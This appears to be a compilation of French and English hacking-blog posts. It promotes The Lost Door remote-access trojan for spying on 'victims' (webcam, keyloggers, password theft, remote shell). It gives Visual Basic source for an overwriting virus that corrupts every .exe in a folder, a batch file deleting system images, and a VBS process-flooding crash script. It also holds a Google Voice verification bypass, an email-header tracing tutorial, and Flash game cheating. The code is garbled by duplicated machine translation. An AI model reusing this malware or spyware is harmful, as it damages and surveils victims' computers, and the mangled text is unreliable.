Aprés Bifrost j'ai choisi aujourd'hui de vous présenter The Lost Door 4.
Infilter un pc à distance est devenu un jeu d'enfant, plus encore the lost door propose des fonctions très puissantes...
Tout d'abord je tien à vous mettre en garde, en utilisant ce logiciel vous êtes le seul responsable des dégâts que vous occasionnerait, cette article est dispensé qu'a titre indicatif et dans le seul but de vulgariser.
de quoi avons nous besoins pour ce tuto ?
-------------------------------------------------------------------------------------------------------------------------------------------------------------
- d'un bon antivirus, je recommande de télécharger la dernière version de "Kaspersky", et oui c'est le meilleur selon moi bien sur.
- de the lost door.
- de patience, et de ne pas flipper.
------------------------------------------------------------------------------------------------------------------------------------------------------------
1- Pour commencer il faut créer un serveur c'est le même principe que bifrost, alors pour m'économiser je vous invite à lire le tuto sur bifrost.
2- quelles sont les options que propose the lost door ?
the lost door propose des options franchement très interessantes, sans plus tarder les voici :
[+] Webcam Shot : accéder à la cam de votre victime.
[+] Imprimante : accéder à l'imprimante de votre victime.
[+] Screen Shot : faire des captures d'écrans.
[+] Server Downloader : pouvoir télécharger touts les documents présent sur le HDD de votre victime.
[+] Audio Streaming : écouter ce qu'écoute votre victime (music, films....)
[+] MSN controler : contrôler msn et récupérer touts les mots de passes
[+] Remote Shell
[+] Chat avec le serveur
[+] Envoyer de faux messages
[+] Gestionnaire de fichiers
[+] Trouver des fichiers
[+] Changer la résolution de l’écran à distance
[+] Informations sur l’ordinateur distant
[+] Gestionnaire de presse-papiers
[+] IE options
[+] Process Running
[+] Online keylogger
[+] Offline keylogger
[+] Fun Menu
[+] Remote viewer Nat
[+] Rmote Resotr Manager
[+] Ajout de quelques Graphics
[+] Some minor bugs fixés
[+] Certains formulaires ont été modifiés
[+] News du navigateur a été ajoutée
[+] Invisible dans la recherche de fichiers
[+] Server Taille (120kb)
La cerise sur le gâteau, pourvoir communiquer avec votre victime en live, ouvrir/fermer le lecteur cd/dvd de votre victime et accéder au gestionnaire des taches, infecter les clé usb de votre victime...
amusez vous bien !
Les virus informatiques sont sous de nombreuses formes avec de nombreuses fonctions différentes. Certains sont plutôt simplistes et peuvent être détectés par l'utilisateur moyen tandis que d'autres sont complexes et passent inaperçus pendant un certain temps. Les virus les plus courants relevant de la classification des infecteurs de fichiers, qui fonctionnent en infectant des fichiers exécutables. Ils y parviennent en insérant leur code malveillant dans une zone du fichier d'origine, lui permettant d'être exécutée chaque fois que le fichier est accessible Certains d'entre eux sont capables de complètement écraser un fichier, ce qui rend tout un programme inutile.
C’est le cas de ce type de virus que nous allons voir aujourd’hui. Les virus Overwritters.
Je sais que les virus overwritters , n'ont malheureusement plus aucune chance de se propager et ils ne sont pas "intelligent". Malgré tout cela overwritters peut vous aider à comprendre les bases du VRAI virus. Je vais vous donner le code d'abord et ensuite on va le passer en revue.
-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=
Option Explicit Option Explicit
Dim myarray() As Byte myarray Dim () As Byte
Dim victim As String victime Dim As String
Const mysize As Integer = 11776 mysize Const As Integer = 11776
Private Sub Form_Load() Private Sub Form_Load ()
On Error Resume Next On Error Resume Next
Dim Free Dim gratuit
Free = FreeFile Free = FreeFile
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free
ReDim myarray(mysize) ReDim MonTableau (mysize)
Get #1, 1, myarray Obtenez myarray # 1, 1,
Close #Free Close # Free
victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")
While victim <> "" Bien que victime <> ""
Open App.Path & "\" & victim For Binary Access Write As #Free Open App.Path & "\" & victime pour l'accès binaire Ecrivez comme # Free
Put #1, , myarray Put # 1,, myarray
Put #1, , mysize Put # 1,, mysize
Close #Free Close # Free
victim = Dir() victime = Dir ()
Wend Wend
End End
End Sub End Sub
-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=
Décodons tout cela : (miam ! J)
Option Explicit Option Explicit
Dim myarray() As Byte myarray Dim () As Byte
Dim victim As String victime Dim As String
Const mysize As Integer = 11776 mysize Const As Integer = 11776
Ici, nous définissons les variables que nous allons utiliser, le "myarray ()" variable qui contient le code binaire du virus, "victime" est la variable qui contient le nom du fichier de la victime et le "mysize" variable contient la taille du virus.
Private Sub Form_Load() Private Sub Form_Load ()
On Error Resume Next On Error Resume Next
Nous ouvrons le sous dossier que nous allons utiliser (Form_Load), et nous avons mis notre erreur poignée c'est-à-dire qu’en cas d’erreur le programme s’arrêtera là.
Dim Free Dim gratuit
Free = FreeFile Free = FreeFile
C'est une bonne idée de prendre exemple sur le virus y2k. Cela vous débarrasse de la lecture / écriture des erreurs, car il est open source.
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free
ReDim myarray(mysize) ReDim MonTableau (mysize)
Get #1, 1, myarray Obtenez myarray # 1, 1,
Close #Free Close # Free
Maintenant, nous allons sortir le code binaire de nos virus et nous allons le stocker dans la variable "myarray".
victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")
While victim <> "" Bien que victime <> ""
Open App.Path & "\" & victim For Binary Access Write As #Free Open App.Path & "\" & victime pour l'accès binaire Ecrivez comme # Free
Put #1, , myarray Put # 1,, myarray
Put #1, , mysize Put # 1,, mysize
Close #Free Close # Free
Ici, nous définissons la variable « victime » et nous avons mis notre code binaire dans le programme de la victime.
victim = Dir() victime = Dir ()
Wend Wend
Puis nous avons mis la victime à zéro, et nous répétons l'ensemble du processus d'infecter tous les fichiers. Exe dans le répertoire courant.
End End
End Sub End Sub
Et enfin, nous fermons le programme et les sous dossiers.
Bonjour à tous.
Aujourd’hui j’ai choisi de parler à propos des virus, on entend beaucoup parler, on a tous été infecter un jour ou l’autre par ces programmes. Parce que avant tous un virus est un programme.
Nous allons donc voir comment ça fonctionne mais aussi comment en créer ; bien sur !
Dans cette première partie, nous allons commencer avec des virus plutôt simple vous allez le voir :
Les Virus VB (Visual Basic):
Ce type de virus sont les plus anciens et ont été parmi les premiers à être apparus.
Créer un petit virus pas très méchant...
Avant toute chose je tiens a vous avertir que cette article n'est là que dans un but pédagogique, et vous n'étes nullement incités à reprtoduire ceci sur votre pc. Vous etes donc résponsable de vos actes et ni moi ni mon hébérgeur ne seons tenu pour responsable.
Nous allons apprendre à créer un petit virus en *bat. :
C’est partit :
Pour commencer, ouvrez votre editeur de texte prèfèré (ex : bloc-note).Ensuite, tapes sans sauter de ligne :
del C :windows*.bmp cls
Après, enrigistrer le code avec l’extension *.bat
Attention : N’ouvrez en aucun cas le fichier sur votre ordinateur, le virus s’exécutera !
Comment ça marche, explications:
del C:windows*.bmp
del : sert à supprimer
C:windows : situe le dossier où la commande doit avoir lieu
* : suivit d'une extension désigne tous les dossiers portant cette extension dans l'exemple l'extension est *.bmp .Donc ce mini virus supprimera tous les fichiers portant l'extension *.bmp (en locurrence des images) se trouvant dans windows.
Ce virus pourrait être plus dangereux si vous changiez l’extension en une autre plus importante, mais la, je laisse libre choix à votre imagination !^^
Créer un virus plus méchant…
vous rêvez de savoir planter des pc très facilement ?^^
C’est partit :
Commencez, par ouvrir votre editeur de text.
Ensuite, tapes le code suivant :
Set variable = CreateObject("WScript.Shell")
Do
variable.run "notepad",false
Loop
Après, enregistrez le avec le nom que vous voulez, avec l’extension .vbs
Petite précision :
Ici, le bloc-note (celui de windows) représente l'application désirée, vous pouvez la remplacer par une application plus lourde (pour des résultats plus rapides et meilleurs).
false : signifie que les fenêtres ne doivent pas être initialisées, seulement les processus pour que la victime ne se rende pas compte.
Loop : signifie que ça doit se faire en boucle : ça doit lancer le bloc-note, recommencé et ainsi de suite.
Ces virus ont été créé en Visual Basic, si vous voulez aller plus loin dans la création de virus apprenez le Visual Basic (qui est un langage de programmation plutôt simple)
Dans la deuxième partie du cours nous verrons des échantillons de vrais virus bien méchant !
Si vous voulez un bon tuto : "Apprendre le Visual basic simplement" laissez des coms.
I'm a big fan of phreaking and I thought I'd contribute to this section since it might in handy to many in here.
I have setup an extra phone number on my cellphone, 2 extra phone numbers on my computer, plus my regular phone
There is also the option of spoofing as I mentioned on my tutorial below to have an unlimited amount of phone numbers.
I wrote a tutorial on:
How to hack with a cellphone Part 1/2 [Extremely detailed]
How to hack with a cellphone Part 2/2 [Extremely detailed]
I setup an incoming and outgoing feature via my computer in the cases where I was out of town and I couldn't get reception on my cellphone, therefore I would use the internet as a a Voice over Internet Protocol (Voice over IP, VoIP) instead.
Let's get to it.
What I will cove
1) What you need
-Gmail account with Google voice
-Sipgate
-Patience and common sense.
2) Google voice
Obviously since it's Google voice, you're going to need a gmail account.
Go to http://gmail.com
Make an account, and you're going to need to verify it via a U.S based cellphone.
After you have gmail account, go here.
http://google.com/voice
We're going to be using various websites to get everything in order for you.
You might need an actual U.S cellphone. If you don't live in the U.S, try to find someone who lives in the U.S to receive a text message that Google voice will send to you.
Try to find someone who is willing to receive a SMS (Text message for you) in the Service offerings section in HF HERE people usually do it for a $1-5.
If you don't want to take this road, I suggest that you read this below.
Bypass Google verification
Credits: Mr.Steven
If you don't want to go either both trouble, you can watch this video if you are not a U.S inhabitant to learn how to bypass the Google voice verification as well or even if you do in fact live in the U.S but not want to verify it with your cellphone, you can watch the video as well to bypass it.
download HotSpotShield
Backtracking EMAIL Messages
Tracking email back to its source: Twisted Evil
cause i hate spammers... Evil or Very Mad
Ask most people how they determine who sent them an email message and the response is almost universally, "By the From line." Unfortunately this symptomatic of the current confusion among internet users as to where particular messages come from and who is spreading spam and viruses. The "From" header is little more than a courtesy to the person receiving the message. People spreading spam and viruses are rarely courteous. In short, if there is any question about where a particular email message came from the safe bet is to assume the "From" header is forged.
So how do you determine where a message actually came from? You have to understand how email messages are put together in order to backtrack an email message. SMTP is a text based protocol for transferring messages across the internet. A series of headers are placed in front of the data portion of the message. By examining the headers you can usually backtrack a message to the source network, sometimes the source host. A more detailed essay on reading email headers can be found .
If you are using Outlook or Outlook Express you can view the headers by right clicking on the message and selecting properties or options.
Below are listed the headers of an actual spam message I received. I've changed my email address and the name of my server for obvious reasons. I've also double spaced the headers to make them more readable.
Return-Path: <s359dyxtt@yahoo.com>
X-Original-To: davar@example.com
Delivered-To: davar@example.com
Received: from 12-218-172-108.client.mchsi.com (12-218-172-108.client.mchsi.com [12.218.172.108])
by mailhost.example.com (Postfix) with SMTP id 1F9B8511C7
for <davar@example.com>; Sun, 16 Nov 2003 09:50:37 -0800 (PST)
Received: from (HELO 0udjou) [193.12.169.0] by 12-218-172-108.client.mchsi.com with ESMTP id <536806-74276>; Sun, 16 Nov 2003 19:42:31 +0200
Message-ID: <n5-l067n7z$46-z$-n@eo2.32574>
From: "Maricela Paulson" <s359dyxtt@yahoo.com>
Reply-To: "Maricela Paulson" <s359dyxtt@yahoo.com>
To: davar@example.com
Subject: STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels...isha
Date: Sun, 16 Nov 2003 19:42:31 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Priority: 3
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="MIMEStream=_0+211404_90873633350646_4032088448"
According to the From header this message is from Maricela Paulson at s359dyxxt@yahoo.com. I could just fire off a message to abuse@yahoo.com, but that would be waste of time. This message didn't come from yahoo's email service.
The header most likely to be useful in determining the actual source of an email message is the Received header. According to the top-most Received header this message was received from the host 12-218-172-108.client.mchsi.com with the ip address of 21.218.172.108 by my server mailhost.example.com. An important item to consider is at what point in the chain does the email system become untrusted? I consider anything beyond my own email server to be an unreliable source of information. Because this header was generated by my email server it is reasonable for me to accept it at face value.
The next Received header (which is chronologically the first) shows the remote email server accepting the message from the host 0udjou with the ip 193.12.169.0. Those of you who know anything about IP will realize that that is not a valid host IP address. In addition, any hostname that ends in client.mchsi.com is unlikely to be an authorized email server. This has every sign of being a cracked client system.
Here's is where we start digging. By default Windows is somewhat lacking in network diagnostic tools; however, you can use the tools at to do your own checking.
davar@nqh9k:[/home/davar] $whois 12.218.172.108
AT&T WorldNet Services ATT (NET-12-0-0-0-1)
12.0.0.0 - 12.255.255.255
Mediacom Communications Corp MEDIACOMCC-12-218-168-0-FLANDREAU-MN (NET-12-218-168-0-1)
12.218.168.0 - 12.218.175.255
# ARIN WHOIS database, last updated 2003-12-31 19:15
# Enter ? for additional hints on searching ARIN's WHOIS database.
I can also verify the hostname of the remote server by using nslookup, although in this particular instance, my email server has already provided both the IP address and the hostname.
davar@nqh9k:[/home/davar] $nslookup 12.218.172.108
Server: localhost
Address: 127.0.0.1
Name: 12-218-172-108.client.mchsi.com
Address: 12.218.172.108
Ok, whois shows that Mediacom Communications owns that netblock and nslookup confirms the address to hostname mapping of the remote server,12-218-172-108.client.mchsi.com. If I preface a www in front of the domain name portion and plug that into my web browser, http://www.mchsi.com, I get Mediacom's web site.
There are few things more embarrassing to me than firing off an angry message to someone who is supposedly responsible for a problem, and being wrong. By double checking who owns the remote host's IP address using two different tools (whois and nslookup) I minimize the chance of making myself look like an idiot.
A quick glance at the web site and it appears they are an ISP. Now if I copy the entire message including the headers into a new email message and send it to abuse@mchsi.com with a short message explaining the situation, they may do something about it.
But what about Maricela Paulson? There really is no way to determine who sent a message, the best you can hope for is to find out what host sent it. Even in the case of a PGP signed messages there is no guarantee that one particular person actually pressed the send button. Obviously determining who the actual sender of an email message is much more involved than reading the From header. Hopefully this example may be of some use to other forum regulars.
some usefull websites foe email backtracking
http://www.sendanonymousemail.net/
7 Mz Optimizer is a complete system optimization suite for your Microsoft Windows 7 operating systems. With Mz 7 Optimizer your computer will be faster, more stable and more secure. Easily customize your computer to suit your needs! The program’s main interface is divided into a left sidebar, which links to the categories of adjustments and performance tuning, or the security of Internet and other optimization options offered by the software.
Here are some key features:
Supported Operating Systems: Windows 7 (32bit & 64bit support)
Sauvegarde USB vous permet de crypter et de protéger les données sensibles de passe sur votre clé USB. Vous pouvez sélectionné un ou plusieurs dossiers à crypter et choisissez en toute sécurité supprimer l'original (non chiffrés) des fichiers avec le destructeur de fichiers intégré.
Il suffit de glisser et déposer des fichiers et dossiers à protéger rapidement vos documents sensibles, puis entrez un mot de passe pour crypter et décrypter les fichiers que vous voulez protéger des regards indiscrets.
Le programme inclut également une fonctionnalité de navigation Handy Safe qui vous permet de lancer Internet Explorer sans laisser aucune trace sur Internet sur l'ordinateur hôte. Les autres caractéristiques comprennent un clavier à l'écran pour la saisie de mot de passe sécurisé et l'essuyage d'espace libre.
Télécharger USB Safeguard: http://usbsafeguard.altervista.org/
Sauvegarde USB utilise un cryptage 256 bits AES pour protéger votre date. Le programme n'est pas installé sur votre PC, il fonctionne directement à partir de votre clé USB.
Voici une vidéo très intéressante qui va vous apprendre à tricher avec n’importe quel jeu en Flash. Le hack est basé sur la modification en mémoire vive des valeurs du processus dans lequel est exécuté le jeu.
Pour les moins techos, je vais tenter une explication. Pour shématiser, à chaque fois que vous jouer votre navigateur va créer un processus pour faire tourner votre jeu. Ce processus a besoin de 2 ressources: de la mémoire pour stocker ses données (le score, les maps…) et de temps de calcul. La première est fournie par la mémoire vive et la seconde par le processeur de votre machine.
Comme toutes les variables sont stockées en mémoire vive, vous pouvez logiquement retrouver votre score ou vos ressources dans cet espace et donc les modifier !
la video est en anglais
Et bien le hacks se base sur la comparaison et l’évolution des valeurs en mémoire. Si vous chiffrez les valeurs celà va devenir bien plus compliqué. En effet le tricheur va devoir trouver quel est l’algorithme de chiffrage et donc décompiler et analyser votre code. Vous vous dites peine perdue ? Non, pas du tout à chaque attaque sa parade. Il existe des offuscateur de code qui rendent la lecture extrêmement pénible à un humain mais pour un ordinateur.
D’autres attaques plus classiques existent, comme par exemple l’analyse des échanges entre votre jeu et ses serveurs. Des extensions firefox, comme par exemple Tamper Data, vous permettent de savoir quelles URL ont été appellées et avec quels paramètres.
Lorsque vous enregistrez votre score dans les highscore: votre jeu va soumettre une requête à un serveur. Et bien si l’application qui enregistre les scores n’est pas suffisament sécurisée, il suffit d’attaquer cette partie, pour se voir dans le tableau des high score sans avoir jouer une seule fois…
Celà peut sembler anodin comme attaque, après tout ce ne sont que des scores. Mais imaginez le cas d’un jeu concours avec des gains, dont le gagnant est celui qui fera le meilleur score ? Vous avez un sérieux problème. La sécurité est un point important à ne pas négliger, même lorsqu’on évolue dans le domaine du divertissement !!
/fdata%2F4399375%2Favatar-blog-1226870643-tmpphpMNEb52.jpeg){kind=avatar}
.png "English"){kind=small}
